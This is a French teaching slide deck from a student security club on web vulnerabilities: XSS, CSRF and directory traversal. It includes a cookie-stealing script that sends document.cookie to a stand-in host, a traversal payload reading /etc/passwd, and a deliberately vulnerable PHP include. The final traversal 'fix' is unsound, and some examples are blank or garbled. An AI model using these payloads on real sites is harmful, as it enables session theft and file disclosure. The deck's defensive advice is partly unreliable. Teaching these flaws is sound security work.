

H4ck 1n TN

Failles Web

Valentin STERN

Ceten – TELECOM Nancy

November 3, 2015



D'où viennent les failles?

Du serveur en général

Surtout en PHP car c'est le langage le plus utilisé

Pas développé de manière sécurisé au départ



Les failles vues dans cette présentation

Faible XSS

CSRF

Transversal directory



Faillle XSS

Utilisée en général pour voler des cookies
Pour rediriger vers des pubs
Embêter les utilisateurs



Son fonctionnement

Nécessite un formulaire qui réaffiche les données entrées
Permet d'exécuter du javascript sur le client d'autres personnes
Par exemple : `<script>alert('Hello')</script>`



Comment voler les cookies ?

Contenus dans document.cookie

Nécessite un serveur, avec un fichier enregistrant ce qu'on lui envoie

```
<script>window.location.replace('http://monsite.org/index.php?c=' +  
document.cookie.toString())</script>
```



Comment la sécuriser ?

Echapper les caractères

Remplace donc par exemple < par <

Affiche donc au final `<script>alert('Hello')</script>` et n'exécute pas le code



CSRF

Acronyme de Cross-Site Request Forgery

Permet d'utiliser les droits d'un autre utilisateur pour faire ce que l'on veut



Comment ça marche?

Demander à un utilisateur d'aller sur un lien

Ou le cacher dans une image :

```

```

L'utilisateur va donc effectuer l'action que l'on veut avec sa session



Comment la sécuriser ?

Ajouter un token nécessaire dans chaque formulaire sur le site que l'on veut sécuriser

```
<input type="hidden" name="CSRFToken" value="Token chiffré">
```



Directory traversal

Principe : Accéder à un dossier dont nous ne sommes pas autorisé

Passe par l'inclusion de page avec des paramètres

Par exemple : `<?php include ('/home/users/web/views/' .
$_GET['view']); ?>`

On accède donc à l'accueil par :

`http://monsite.org/index.php?view=accueil.php`



Exploiter cela

Envoyer une vue naviguant dans les dossiers

Par exemple : `'../..../..../..../..../etc/passwd'` et accéder au fichier de password de la machine

On peut ainsi accéder au fichier que l'on veut sur la machine !



Comment la sécuriser ?

On peut penser que l'on peut interdire les caractères ../ ou même simplement ..

Mais dans ce cas on peut envoyer l'encodage URL des caractères : Dans ce cas cette sécurisation ne sert à rien



Comment la sécuriser ?

Tout simplement : `include($_GET['file'] . '.html')`
Limite donc les fichiers à ceux au format HTML

